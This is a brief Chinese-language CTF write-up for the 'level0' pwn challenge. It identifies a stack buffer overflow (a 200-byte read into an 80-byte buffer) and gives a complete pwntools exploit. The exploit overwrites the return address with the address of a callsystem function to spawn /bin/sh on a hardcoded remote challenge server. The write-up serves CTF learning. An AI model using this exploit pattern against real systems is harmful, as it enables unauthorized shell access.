file查看文件类型,checksec检查保护机制

64位ELF文件,没有开启保护机制
IDA查看伪码

主函数输出"Hello,World!"后调用函数vulnerable_function()

在函数vulnerable_function()中,每次读取200Byte的字节存储在buf中

buf的空间只有80Byte,存在栈溢出
shift+F12搜索字符串

发现"/bin/sh"位于函数callsystem中,可以通过栈溢出覆盖返回地址为callsystem执行system函数
构造exp
1from pwn import * 2 3context(os='linux',arch="amd64",log_level="debug") 4 5content = 0 6 7def main(): 8 if content == 1: 9 os = process("level0") 10 else: 11 os = remote("220.249.52.133",53332) 12 13 payload =b'a'*(0x88)+p64(0x400596) # buf容量为80Byte,加上8Byte栈底距返回地址长度加上callsystem地址 14 15 os.recvuntil("Hello, World\n") 16 17 os.sendline(payload) 18 19 os.interactive() 20 21main()
flag

